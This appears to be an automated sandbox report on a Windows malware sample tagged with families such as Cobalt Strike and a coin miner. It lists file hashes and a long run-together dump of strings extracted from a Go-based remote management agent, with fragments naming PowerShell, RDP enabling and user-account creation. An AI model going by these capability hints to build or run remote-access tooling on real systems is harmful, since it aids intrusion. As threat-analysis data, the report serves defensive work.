Analysis
- max time kernel
102s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
12/07/2026, 11:37
Static task
static1
Behavioral task
behavioral1
Sample
2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
Resource
win11ltsc2024-20260709-en
General
- Target 2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
- Size 5.0MB
- Sample260712-nrkz1aay91
- SHA256 6334880a5798f518a0b2b5b8aa91d508e09dd923f8e33111d72e81338ac789a2
- MD5 c81064fbe0b03481d84da63819d7ee18
- SHA1 b2a109d4203b32e766b2e90833a7877dddd00208
- SHA512 815d309371c020dd9c3c3aff8b50c161d8de3e391de5544b7074906b2f32460493fad6e2d4332d018d7ccb882cb0c65754e451ef226fba75becd8b1c8119ba91
- SSDEEP 49152:sRg0nHU3wAuOdrb/T8vO90d7HjmAFd4A64nsfJ4wLXNk2tbyRcH5OfT8N5t9XdNE:H3wAuOAOA25kYt9tyE8+ePf
- TLSH T1BC363B47F85551E8C1AED234CA259263BA707C891B3033D36BA0F7B82B73BD46A79354
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
supershell
-
2.11.03.11.93.14.532 bit39062564 bit<-chanAacuteAcceptAckAllActiveAgraveAnswerApiURLArabicAtildeAugustAuthorBasic BearerBinaryBitBltBrahmiBypassCANCELCDATA[CLOSEDCarianCcedilChakmaClosedCommonCookieCopticCreateCustomDELETEDaggerEEPROMEacuteEgraveEndDocExpectFEPROMFormatFridayGOAWAYGetACPGetAceGothicHangulHatranHebrewHiddenHyphenIacuteIgraveIsMenuKaithiKhojkiLISTENLPDDR2LPDDR3LPDDR4LambdaLengthLepchaLineToLockedLycianLydianManualMondayMulDivNtildeOacuteOgraveOslashOtildePADDEDPING PONG PatBltPragmaREG_SZRejangSCHED STREETSTRINGSYSTEMScaronSearchServerSourceStatusStringSundaySymbolSyriacSystemTai_LeTangutTargetTeluguThaanaTmpDirTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11UacuteUgraveUserIdWARN: WINDIRWanchoWeeklyWeightX25519YacuteYezidi[%d]%s[]byte\u%04X\u0000\u0001\u0002\u0003\u0004\u0005\u0006\u0007\u0008\u000b\u000e\u000f\u0010\u0011\u0012\u0013\u0014\u0015\u0016\u0017\u0018\u0019\u001a\u001b\u001c\u001d\u001e\u001f\u0022\u0026\u0027\u002b\u003c\u003e\u0060\u2028\u2029\ufffd _amd64aacuteacceptactionactiveagravearray*atildeavx512binaryborderbrvbarbuild bytes*ccedilcentoschan<-closedcmd_idconptycookiecoordscurrendaggerdebiandefinedeletedividedomaineacuteefenceegraveempty env.nuexec: existsexpectfedoraforallfrac12frac14frac34go %s goarchgopherhangupheaderheartsheighthelliphiddeniacuteigraveimportinternip+netiquestkMGTPEkilledlambdalfloorlistenlowastlsaquomailtomethodmiddotminutemonthsnats: natswsnetdnsnomeshntildenu.exenumbernutempoacuteobjectograveoriginoslashotildeotimesoutputpausedpermilplusmnpopcntposterprintfpythonquery:rdrandrdseedrdtscpreadatredhatremoverenamereturnrfloorrsaquorune1 scaronscopedscriptsecondselectsendtoserversigmafsilentsimplesocketsocks socks5spadessrcdocsrcsetstate(statusstdoutstringstructsweep switchsysmontargettelnetthere4thinsptimerstmpdirtypeofuacuteubuntuugraveuint16uint32uint64unusedusemapvaluesweierpwinptyx86_64xmlns:yacute{ARCH} %v=%v, (conn) (scan (scan) MB in Value> action allocs dying= flags= len=%d locks= m->g0= nmsys= pad1= pad2= s=nil text= using zombie% CPU (%s %s; %s://%s%v days%v hour%v week%v year%v: %#x, goid=, j0 = , type=--force-nodeid/LOG=%s19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625: type ::ffff::method:scheme:status= "`API URLAckNoneActionsAgentIDAgentPKAvestanBaseURLBengaliBrailleCLOSINGCOMMENTCONNECTChanDirClassIdConnectContactContextConvertCopySidCreatedCypriotDEBUG: DeseretERROR: Ed25519ElbasanEllipseElymaicEnabledEndMenuEndPageEpsilonExpiresFATAL: FreeSidGNUStepGODEBUGGetMenuGetTaskGranthaGroupIdHEADERSHanunooILLEGALIM UsedIO waitInstAltInstNopInstallJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarMandaicMarchenMaskBltMeshDirMonthlyMultaniMyanmarNewTaskOctoberOmicronOsmanyaPATHEXTPolygonRadicalRefererSELECT SHA-224SHA-256SHA-384SHA-512SUCCESSServiceSetMenuSetRectSharadaShavianSiddhamSinhalaSite IDSleepExSogdianSoyomboSubjectSwapperTagalogTask PKTibetanTirhutaToAsciiTrailerTuesdayTypeALLTypeOPTTypePTRTypeSOATypeSRVTypeTXTTypeWKSUNKNOWNUnknownUpdatesUpgradeUpsilonUsage: VersionWARNINGWSARecvWSASend[INFO] "`'/<-#\\.\UNC\ ) types value=_structabortedalefsymallocmRallocmWalt -> amxbf16amxint8amxtileanswersany -> archiveavx512fbdoUxXvbooleanbucket(charsetcheckedchunkedclassidclosurecmd.execolspancommandcomplexconnectconsolecontentcpuprofdefaultderiveddirnameenctypeepsilonexpiresfailingfields.finallyfloat32float64forcegcgctracehead = headershttp://installinstantintegerinvalidkeytypelognamelookup manjaromeshdirminpc= minutesmpr.dllmsgpacknil keynop -> number nushellomicronoperandoptimumosxsavepacer: packagepanic: passingpatternpdh.dllpreloadprintlnprofilepubdatereaddirrefererrefreshrestartresultsrowspanrunningsandboxsecondsserial:signal site-idspecialsrclangstoppedstring*subkeyssuccesssyscalltimeouttraileruintptrunknownupgradeupsilonversionwaitingwindowswsarecvwsasend{{end}} bytes, data=%q etypes incr=%v is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= packed= ping=%q pointer stack=[ status xmlns="%!Month(%.10q...%.1f %cB%02d%02d%25s: %s%s %s:%d%s /C %s%s&#x%x;%s: %s %s;%s;%s%v hours%v month%v weeks%v years�--config012345672.5.4.102.5.4.112.5.4.172006010248828125AbortDocAcceptExAcceptedAngleArcArmenianBAD RANKBalineseBopomofoBugineseCLICOLORCancelIoCherokeeClassANYComputerConflictContinueCopyRectCurveID(CyrillicDNS nameDSA-SHA1DecemberDeleteDCDisabledDownloadDrainingDrawIconDuployanDurationDwmFlushEndPaintEqualSidEthiopicExtenderFebruaryFillRectFullPathGeorgianGetFocusGetTasksGoStringGujaratiGurmukhiHOMEPATHHTTP/1.1HTTP/2.0HelpLinkHiraganaIdentityInsecureInstFailInstRuneIntervalIsWindowJavaneseKatakanaKayah_LiLAST_ACKLinear_ALinear_BLocationMD5+SHA1MD5-sessMahajaniMoveToExNO_ERRORNO_PROXYNode id:NovemberOl_ChikiOpenStepPRIORITYParseIntPasswordPhags_PaPolylinePriorityPtInRectQuestionReadFileReceivedResetDCWRunLevelSETTINGSSHA1-RSASHA3-224SHA3-256SHA3-384SHA3-512SYN_SENTSameSiteSaturdaySetEventSetFocusSetTimerSettingsSystem32TagbanwaTai_ThamTai_VietTextOutWThursdayTifinaghToken %sTriggersTypeAAAATypeAXFRUgariticUpdateIDWSAIoctlZgotmplZ[::1]:53[:word:][ERROR] [signal "%s" %s --%s stack=[_NewEnum_gatewayaddress agent_idantergosautoplayavx512bwavx512cdavx512dqavx512eravx512pfavx512vlbad instbeEfFgGvcgocheckcodebasecomp_syscompresscontinuecontrolscs curl -X datetimedeadlockdeno.exedenotempdisableddnsquerydropzonedurationencodingexecwaitexplicitexporterfile+netfinishedfont/otffont/ttffs graphicsgs has_morehijackedhostnamehreflanghttp/1.1if-matchif-rangeinfinityinsecureinvalid ip4:icmpis-*.tmplanguagelinkpathlocationlongdescloopbacklstrcpyWlstrlenWmanifestmultiplenats: %snatsportnew_namenew_pathno anodeno-cacheno_proxynssm.exeold_nameold_patholeaut32opensuseoriginalpanic %vpath %s photurispollDescpy38-x32py38-x64r10 r11 r12 r13 r14 r15 r8 r9 raspbianrax rbp rbx rcx rdi readfromreadonlyrecvfromredirectrequiredreversedrflags rip rsi rsp runnablescavengeseamlessselectedshutdownsockaddrsoftwarestrconv.syncmeshtabindextemplatetextareathetasymtraceBuftrigger=unixgramunknown(updtCnt:urlquerywsaioctlx509sha1{{else}} (forced) -> node= B exp.) B work ( as type blocked= in use) lockedg= lockedm= m->curg= marked ms cpu, not in [ of type runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=#ZgotmplZ%s %q: %s%s %x %x %v minute%v months%v second(unknown), newval=, oldval=, size = , tail = 01234567_0x%X (%d)1 error: 244140625: status=AUOptionsAgent ID:Agent PK:ArgumentsAuthorityAutomaticBase URL:Bassa_VahBhaiksukiBigEndianCONNECTEDCheckInSWClassINETClient IDCreateDCWCreateICWCreatePenCuneiformDiacriticDrawTextWEndDialogEqualRectEvery dayExecQueryFindCloseForbiddenGetDIBitsGetFolderGetWindowHOMEDRIVEHex_DigitInheritedInstMatchInstRune1InterfaceKhudawadiLoadIconWLoadMenuWLocalFreeLogonTypeMalayalamMongolianMoveFileWNabataeanNot FoundOnFailurePalmyreneParseBoolParseUintPrincipalPublisherPurgeCommREG_DWORDREG_QWORDRPC debugRectangleReleaseDCReleaseIdRemoveAllRun Task:SamaritanSee OtherSendInputSeptemberSetBkModeSetCursorSetupCommStartDocWStartPageStartTypeSundaneseSyncMesh:TIME_WAITTimestampToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUnionRectUse ProxyWSASendToWakeToRunWednesdayWinTmpDirWriteFile[%v = %d][:^word:][:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:]_outboundagent-wmiagent.logalmalinuxatomicor8autofocusautomaticbad indirbad prunebroadcastbus errorchallengechan sendchoco.execlient-idcomplex64config.nuconnectexconpty-incopystackcpu-totalctxt != 0d.nx != 0dns,filesdraggabledxva2.dllelement <empty urlexit_codefiles,dnsfont/wofffork/execfuncargs(gdi32.dllgetCallerhchanLeafimage/bmpimage/gifimage/pnginittraceinterfaceinterruptinvalid nipv6-icmplinuxmintlocalhostmSpanDeadmap[%s]%smaxlengthmeshagentmkdirtempmulticastnil errornil tracentdll.dllole32.dllomitemptyopeneulerpage_sizepanicwaitpclmulqdqpreemptedprofBlockprotocol psapi.dllquestionsrecover: reflect: runchecksrwxrwxrwxscavtracestackpoolstartTypesucceededtimestamptracebackundefinedunderflowunhandleduninstallurn:uuid:video/avivideo/mp4wbufSpanswebsocketwinmm.dllwsasendto{VERSION}{{break}}} stack=[ netGo = MB goal, but have flushGen for type gfreecnt= heapGoal= pages at ptrSize= runqsize= runqueue= s.base()= spinning= stopwait= stream=%d sweepgen sweepgen= targetpc= throwing= until pc=%!Weekday(%s|%s%s|%s%v minutes%v seconds, bound = , limit = -NoProfile.localhost.terminal./dev/stdin/etc/hosts/r /t 5 /f012345678912207031256103515625: parsing :authority<no value>AcceptEulaAdditionalAll monthsAlphaBlendBad varintBeginPaintCLOSE_WAITCONNECTINGCache DRAMCancelIoExCategoriesCategoryIDCheckInWMIChorasmianClassCHAOSClassCSNETCombineRgnConnectionContent-IdCreateFileCreateIconCreateMenuCreatePipeDSA-SHA256DaysOfWeekDefinitionDeleteMenuDeleteTaskDeprecatedDevanagariDnsQuery_WDragFinishDrawIconExECDSA-SHA1END_STREAMEnable RDPEvery weekException FIN_WAIT_1FIN_WAIT_2GC forced GOMAXPROCSGOMEMLIMITGetDlgItemGetFoldersGetIfEntryGetObjectWGetSubMenuGetVersionGlagoliticGlobalFreeGlobalLockHKEY_USERSHTTP_PROXYHost: %s IP addressIgnore NewInstalled:IsValidSidKeep-AliveKharoshthiLoadImageWLocalAllocLockFileExManichaeanMesh AgentMessage-IdMoveWindowNATS/1.0 NetUserAddNetUserDelNo ContentOffsetRectOld_ItalicOld_PermicOld_TurkicOpenEventWOpenMutexWOpenThreadOther_MathPOSTALCODEParseAddr(ParseFloatPhoenicianPingCheck:PlaySoundWPolyBezierProcessingPulseEventREG_BINARYRIPEMD-160RST_STREAMRemoveMenuRepetitionResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSend EmailSet-CookieSetBkColorSetCaptureShcore.dllShowCursorShowWindowStatus: %sStretchBltSupportURLSynch DRAMUNKNOWN_%dUser-AgentWSACleanupWSASocketWWSAStartupWindows 10Windows 11[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:^punct:][:^space:][:^upper:][:xdigit:] --%s-- _reserved1agent-typearg %d: %watomicand8audio/aiffaudio/midiaudio/mpegaudio/waveavx512bf16avx512gfniavx512ifmaavx512vaesavx512vbmiavx512vnnibackgroundbase_boardcomplex128connectionconpty-outcreatetempdebug calldefinitiondnsapi.dlldwmapi.dllecho replyexecerrdotexitThreadexp masterfloat32nanfloat64nanfont/woff2formactionformmethodformtargetgetsockoptgoroutine http-equivhttp_proxyimage/avifimage/jpegimage/webpimpossibleinstanceofinvalid IPinvalidptrkeep-alivelocal-meshmSpanInUsemediagroupmesh agentmeshnodeidnil headernot a boolnotifyListnovalidateowner diedpowershellprofInsertpython.exeradiogroupres binderres masterresumptionrune <nil>runtime: gs.state = schedtracescientificsemacquiresession_idset-cookiesetsockoptskipping: socks bindspellcheckstackLarget.Kind == terminatedtracefree(tracegc() unins*.exeunixpacketunknown pcuser-agentuser32.dllvideo/webmwinagent-vwinpty.dllws2_32.dll of size (targetpc= , plugin: ErrCode=%v KiB work, exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%d errors: %d.%d.%d.%d%s %s %s ) at entry+, elemsize=, npages = , settings:--no-prompt.WithCancel.cmdoutput./VERYSILENT/dev/stderr/dev/stdout/index.html0123456789_0x%08X (%d)30517578125: frame.sp=> in space AckExplicitAppendMenuWBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256Bad GatewayBad RequestCOM HandlerClassHESIODCloseHandleCoGetObjectCookie.PathCreateFileWDaysOfMonthDefDlgProcWDeleteFileWDescriptionDestroyIconDestroyMenuDisplayNameDives_AkuruDownloaded:DrawMenuBarENABLE_PUSHEND_HEADERSESTABLISHEDEarly HintsEnable pingEndBoundaryEnumWindowsEnvironmentExitProcessFileVersionFindWindowWFreeLibraryGOMEMLIMIT=GOTRACEBACKGetFileTimeGetFileTypeGetIfEntry2GetKeyStateGetMenuInfoGetMessageWGetSysColorGetWindowDCGlobalAllocHTTPS_PROXYIdeographicIn-Reply-ToInflateRectInsertMenuWInstCaptureInstRuneAnyInstallDateInteractiveIsInstalledIsRectEmptyLastRunTimeLoadCursorWMachineGuidMarshalJSONMarshalTextMedefaidrinMesh Agent:Mesh agent:MessageBeepMessageBoxWModifyMenuWMoveFileExWNATS error:NandinagariNetShareAddNetShareDelNetUserEnumNew_Tai_LueNextRunTimeOld_PersianOld_SogdianOpenProcessPROGRAMDATAPatchMgmnt:Pau_Cin_HauPrintWindowProductNameRandomDelayRegCloseKeyReturn-PathSHA-512-256SHA-512/224SHA-512/256SYSTEMROOT=Sending WMISetCommMaskSetFileTimeSetMenuInfoSignWritingSoft_DottedStateChangeSwapBuffersSystemDriveTTL expiredTacticalRMMToUnicodeExUSERPROFILEUserenv.dllVariantInitVirtualFreeVirtualLockWARN RESTY WSARecvFromWaitMessageWaitTimeoutWarang_CitiWhite_Space[:^xdigit:]\device\mup_eval_args_additionalsagent-disksagent-helloalarm clockassistQueueauthoritiesavx512vbmi2avx512vnniwbad addressbad argSizebad m valuebad messagebad timedivbad verb '%broken pipecall of nilcgocall nilcheckrunnerclobberfreeclosesocketcombase.dllcontextmenucreated by crossorigincrypt32.dlldescriptionempty fieldexpected :=fallthroughfile existsfinal tokenfloat32nan2float64nan1float64nan2float64nan3formenctypegccheckmarkgdiplus.dllgetpeernamegetsocknameglobalAllochttp2clienthttp2serverhttps_proxyi/o timeoutlocal errormSpanManualmethodargs(minTrigger=msimg32.dllmswsock.dllnetpollInitnil Contextnil contextnot definedoraclelinuxparse errorplaceholderraw-controlreflect.SetreflectOffsretry-afterruntime: P runtime: g runtime: p scheddetailsechost.dllsecur32.dllshell32.dllshort writestack tracetacticalrmmtls: alert(tls://%s:%stracealloc(traffic updunreachableunsupporteduserenv.dllversion.dllwinagent-v*winpty_freewinpty_openwsarecvfromwss://%s:%s (sensitive) = struct { B (∆goal KiB total, MB stacks, [recovered] allocCount found at *( gcscandone m->gsignal= maxTrigger= nDataRoots= nSpanRoots= pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%02d-%d-%02d) p->status=, cons/mark --env-config-byte limit -fullinstall100-continue127.0.0.1:53152587890625762939453125> but have <Agent token:BODY : %v Bidi_ControlCIDR addressCONNECT %s CONTINUATIONCfgMgr32.dllCheckInDisksCheckInHelloCheckInPubIPCoCreateGuidCoInitializeContent TypeContent-TypeCookie.ValueCreateBitmapCreateCursorCreateEventWCreateFolderCreateMutexWCurrentBuildCustomSourceDDR2 FB-DIMMDEBUG RESTY DISCONNECTEDDaysIntervalDeleteObjectECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ERROR RESTY EnableWindowEulaAcceptedExtCreatePenExtractIconWFindNextFileGetAddrInfoWGetCommStateGetConsoleCPGetCursorPosGetDlgCtrlIDGetLastErrorGetLengthSidGetMenuStateGetProcessIdGetStdHandleGetTempPathWGetTopWindowGlobalUnlockHEADERS: %s HOST : %s I'm a teapotIdleDurationIdleSettingsInstAltMatchIsDownloadedJoin_ControlKBArticleIDsLittleEndianLoadLibraryWLoadResourceLockResourceMax-ForwardsMeetei_MayekMesh Node IDMime-VersionMissing pathMonthsOfYearMoreInfoURLsMsrcSeverityMulti-StatusNeedsReboot:Netapi32.dllNot ExtendedNot ModifiedNtCreateFileOpen ServiceOpenServiceWPROGRAMFILESPUSH_PROMISEPahawh_HmongPdhOpenQueryPeekMessageWPostMessageWProgramFilesPublicIP errRCodeRefusedRCodeSuccessRECONNECTINGREG_MULTI_SZReadConsoleWRedrawWindowRegGetValueWReleaseMutexReportEventWRestartCountResumeThreadRevertToSelfRoInitializeRun ParallelRunning taskSERIALNUMBERSHA-256-sessSYN_RECEIVEDSameSite=LaxScrollWindowSelectObjectSendMessageWSession LockSetCommBreakSetCommStateSetConsoleCPSetCursorPosSetEndOfFileSetErrorModeSetLocalTimeSetRectEmptySetStdHandleSetTextColorSetWindowPosSetupAPI.dllShow MessageSlowConsumerSora_SompengSubscriptionSubtractRectSyloti_NagriSysStringLenTactical RMMTacticalRMM_Thread32NextTransmitFileUnauthorizedUnlockFileExUpdateWindowUsing proxy:ValidateRectValueQueriesVariantClearVersionMajorVersionMinorVirtualAllocVirtualQueryWeeksOfMonthX-ImforwardsX-Powered-Byabi mismatchadvapi32.dllagent-winsvcaltmatch -> anynotnl -> autocompleteavx5124fmapsavx512bitalgbad flushGenbad g statusbad g0 stackbad recoveryblock clausebuild %s=%s c ap trafficc hs trafficcaller errorcan't happencas64 failedchan receiveclose notifycomctl32.dllcomdlg32.dllcontent-typecontext.TODOdumping heapecho requestend tracegc entersyscallexit status gcBitsArenasgcpacertracegetaddrinfowharddecommithost is downhttp2debug=1http2debug=2illegal seekimage/x-iconinvalid baseinvalid bodyinvalid kindinvalid pathinvalid portinvalid slotiphlpapi.dllkernel32.dlllfstack.pushlogrus_errormadvdontneedmax-forwardsmesh_node_idmheapSpecialmissing pathmspanSpecialnetapi32.dllno extensionno such hostnot pollablenssm-x86.exentoskrnl.exeoleaut32.dllopengl32.dllout of rangepointtopointproxyconnectrandautoseedrecv_goaway_reflect.Copyregistrationreleasep: m=remote errorruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptservices.exesetupapi.dllshort buffershutdown.exespanSetSpinestop_pendingstring|bytessweepWaiterstacticalrmm*traceStringstransmitfileunexpected )unins000.exeunknown portunknown typewinpty_bins/winpty_spawnwintrust.dllwirep: p->m=worker mode wtsapi32.dll{{continue}} != sweepgen (default %q) (default %v) MB globals, MB) workers= [%dm%s[0m= called from closed by </ flushedWork idlethreads= in duration in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= %s://%s:%d/%s, gp->status=, not pointer--WebProxy=%s--no-progress-byte block (3814697265625: unknown pc <unsupported>AUDIT_FAILUREAUDIT_SUCCESSAccept-RangesAuthorizationCLIENT_RANDOMCONNECT_ERRORCPU Load Avg:Cache-ControlCertOpenStoreCheckInWinSvcCheckMenuItemCloseEventLogCoTaskMemFreeCompatibilityConnectServerContent-RangeCreateActCtxWCreateRectRgnCreateWindowWDRAINING_PUBSDRAINING_SUBSDeleteServiceDestroyCursorDestroyWindowDocumentationECDSAWithSHA1EnumProcessesEstimatedSizeExitWindowsExFQDN too longFindFirstFileFindNextFileWFindResourceWForcing ipv4:FreeAddrInfoWGC sweep waitGetClassLongWGetClassNameWGetClientRectGetDeviceCapsGetDriveTypeWGetIfEntry2ExGetMenuItemIDGetSystemMenuGetSystemTimeGetWindowInfoGetWindowRectGo CPU Check:Gunjala_GondiIIDFromStringIf-None-MatchImageList_AddInstallSourceIntersectRectInvalid monthLast-ModifiedLoop DetectedMapViewOfFileMasaram_GondiMende_KikakuiMeshAgent.exeModule32NextWNatsProxyPathNatsProxyPortNot InstalledOld_HungarianOpenClipboardOpenEventLogWPKCS1WithSHA1PdhCloseQueryREG_EXPAND_SZRPC RunChecksReadEventLogWRegDeleteKeyWRegEnumKeyExWRegEnumValueWRegOpenKeyExWReset ContentRestartOnIdleRtlCopyMemoryRtlGetVersionRtlInitStringRtlMoveMemoryRunOnlyIfIdleSHA256-RSAPSSSHA384-RSAPSSSHA512-RSAPSSSTREAM_CLOSEDSafeArrayCopySafeArrayLockSelectClipRgnSetBrushOrgExSetClassLongWSetDCPenColorSetSystemTimeShellExecuteWStartBoundaryStartServiceWStop ExistingStopOnIdleEndStringFromIIDSysFreeStringTacticalAgentThe log levelThread32FirstUNSUB %d %s Unknown ErrorUpdateID='%s'Usage of %s: VirtualUnlockWINDOW_UPDATEWTSFreeMemoryWaitCommEventWeeksIntervalWriteConsoleW[FrameHeader accept-rangesaccess deniedauthorizationbad flushGen bad map stateby_start_timecache-controlcomp_sys_prodcontent-rangedalTLDpSugct?define clausedouble unlockemail addressempty commandempty integerexchange fullexecRInternalfatal error: getTypeInfo: gethostbynamegetservbynamegzip, deflateif-none-matchimage/svg+xmlinvalid ASN.1invalid UTF-8invalid base ip6:ipv6-icmplame referrallast-modifiedlevel 3 resetload64 failedmeshagent.exemin too largenats: timeoutnil stackbaseno name spacenot a Float32not availableout of memoryparsing time pause_pendingprofMemActiveprofMemFutureruntime: seq=runtime: val=socks connectsrmount errorstart_pendingtestRInternaltime exceededtimeEndPeriodtimer expiredtlsmaxrsasizetraceStackTabtrmm/%s/%s/%sunexpected %sunimplementedunknown type unsupported: updaterunninguser canceledvalue method wglShareListsxadd64 failedxchg64 failed} sched={pc: /* %s */null needspinning= nmidlelocked= on zero Value out of range procedure in to finalizer untyped args %v, Attempt %v-fulluninstall-thread limit .WithDeadline(/api/v3/choco/1907348632812595367431640625: extra text: <not Stringer>> closed by </Accept-CharsetActivateActCtxAgentStartup()CLICOLOR_FORCECallNextHookExCertCloseStoreClearCommBreakClearCommErrorClientToScreenCloseClipboardCoInitializeExCoUninitializeComputerNameExContent-LengthControlServiceCreateEventExWCreateMutexExWCreateProcessWCreateServiceWCryptGenRandomCurrentVersionDefWindowProcWDisplayVersionDkim-SignatureDragQueryFileWDragQueryPointDuplicateTokenDwmEnableMMCSSDwmShowContactERR_UNKNOWN_%dEmptyClipboardEnableMenuItemEnumPageFilesWFindFirstFileWFormatMessageWGC assist waitGC worker initGdiplusStartupGetConsoleModeGetMenuBarInfoGetMenuStringWGetMessageTimeGetPixelFormatGetProcAddressGetShellWindowGetStockObjectGetSystemTimesGetTickCount64GetUserNameExWGetWindowLongWGetWindowTextWHiliteMenuItemINTERNAL_ERRORInstEmptyWidthInvalid ActionInvalidateRectIsWellKnownSidIsWow64ProcessLastTaskResultLoadLibraryExWMAX_FRAME_SIZEMB; allocated MakeAbsoluteSDMapVirtualKeyWModule32FirstWNetUserGetInfoNetUserSetInfoNot AcceptableOpenSCManagerWOther_ID_StartPROTOCOL_ERRORPattern_SyntaxPrints versionProcess32NextWPublicIP startQuotation_MarkRCodeNameErrorREFUSED_STREAMREQUEST_METHODReboot needed:RegDeleteTreeWRegSetValueExWReleaseCaptureRemote ConnectResourceHeaderRevisionNumberRunPythonCode:Running checksSUB %s %s %d ScreenToClientSession UnlockSetConsoleModeSetFilePointerSetPixelFormatSetThreadTokenSetWindowLongWSetWindowTextWSizeofResourceSleeping for 5SysAllocStringTrackPopupMenuTranslateNameWTypesSupportedVerQueryValueWVirtualProtectVirtualQueryEx[^\w@%+=:,./-]\.+*?()|[]{}^$ Error %d: %s accept-charsetagent-publicipallocfreetracebad allocCountbad record MACbad restart PCbad span statecontent-lengthdata truncatedfile too largefinalizer waitformnovalidategcstoptheworldgetprotobynameinternal errorinvalid optioninvalid pid %vinvalid semverinvalid syntaxis a directorykey size wronglen of type %slevel 2 haltedlevel 3 haltedmultipartfilesneed more datanetwork_confignil elem type!no module datano such devicepacket too bigpowershell.exeprotocol errorread_frame_eofreflect.Selectruntime: full=runtime: want=s.allocCount= script_resultssemaRoot queuestack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytoo many linkstoo many usersunexpected EOFunknown code: unknown error unknown methodunknown mode: unknown node: unknown statusunreachable: unsafe.PointeruserArenaStatewglMakeCurrentwinapi error #work.full != 0zero parameter with GC prog (no semicolon) is unavailable()<>@,;:\"/[]?=,M3.2.0,M11.1.0-NonInteractive0601021504Z0700476837158203125: cannot parse : no frame (sp=<invalid DWORD><invalid QWORD><invalid Value>ASCII_Hex_DigitAccept-EncodingAccept-LanguageAddDllDirectoryCLSIDFromProgIDCLSIDFromStringCallWindowProcWCheckInSyncMeshClientAuthType(Console ConnectCreateHardLinkWCreatePopupMenuCreateWindowExWDefSubclassProcDeviceIoControlDialogBoxParamWDragAcceptFilesDuplicateHandleEnabling RDP...Every other dayFailed to find Failed to load FindNextStreamWFindNextVolumeWFindVolumeCloseFlushViewOfFileGateway TimeoutGdiplusShutdownGetActiveObjectGetActiveWindowGetAdaptersInfoGetClassInfoExWGetCommTimeoutsGetCommandLineWGetEnhMetaFileWGetMenuItemRectGetMonitorInfoWGetProcessTimesGetRawInputDataGetSecurityInfoGetStartupInfoWGetTextMetricsWHEADERS : Hanifi_RohingyaIdempotency-KeyImpersonateSelfInsertMenuItemWInstallLocationIsWindowEnabledIsWindowUnicodeIsWindowVisibleIsWow64Process2Length RequiredMonitorFromRectNTSTATUS 0x%08xNetGetAnyDCNameNetworkSettingsNot ImplementedNot InitializedNtResumeProcessOpenThreadTokenOther_LowercaseOther_UppercasePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512Partial ContentPlayEnhMetaFilePostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWQueue InstancesRecovering meshRegCreateKeyExWRegDeleteValueWRequest TimeoutRestartIntervalRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockSameSite=StrictSetCommTimeoutsSetDCBrushColorSetSecurityInfoSetVolumeLabelWShowWindowAsyncStatus: runningStringFromCLSIDStringFromGUID2SwapMouseButtonTactical Agent:The mode to runUninstallStringUnmapViewOfFileWhere to log toX-Forwarded-For] morebuf={pc:accept-encodingaccept-languageadvertise erroragent-agentinfoallocmRInternalapplication/oggapplication/pdfapplication/zipasyncpreemptoffavx512vpopcntdqbad certificatebad trailer keycontenteditabledesktop_monitordouble scavengeelem size wrongfmipv6 messagesfont/collectionforce gc (idle)invalid addressinvalid argSizeinvalid booleaninvalid pointerjstmpllitinterpkey has expiredkilling processmalloc deadlockmisaligned maskmissing addressmissing mcache?monitoring_typems: gomaxprocs=negative offsetnetwork is downnetwork_adapterno dot in fieldno medium foundno such processnon-minimal tagnot implementedpreempt SPWRITErecord overflowrecovery failedrecv_rststream_reflectlite.Setruntime error: runtime: frame runtime: max = runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding psync.Mutex.Locktacticalagent-vtacticalrmm.exetarinsecurepathtemplate clausetimeBeginPeriodtimestamp replytraceback stuckunclosed actionunexpected typeunknown Go typeunknown networkunknown versionunknown/invalidwindows-servicewinpty_set_sizewrite error: %wx-forwarded-forzipinsecurepath already; errno= mheap.sweepgen= not in ranges: untyped locals %s %s HTTP/1.1 ()<>@,;:\"/[]?= , not a function--no-config-file-ExecutionPolicy.WithValue(type /api/v3/checkin//etc/resolv.conf0123456789ABCDEF0123456789abcdef2384185791015625: value of type > in name space AdjustWindowRectAllowDemandStartAlready ReportedCheckInAgentInfoCheckInLimitDataCloseEnhMetaFileCoCreateInstanceConnectNamedPipeContent-EncodingContent-LanguageContent-Length: CopyEnhMetaFileWCreateDIBSectionCreateDirectoryWCreateJobObjectWCreateNamedPipeWCreateSolidBrushCryptProtectDataCryptQueryObjectDefineDosDeviceWDelayedAutoStartDispatchMessageWDnsNameCompare_WDuplicateTokenExDwmDefWindowProcDwmRenderGestureDwmTetherContactEnabling 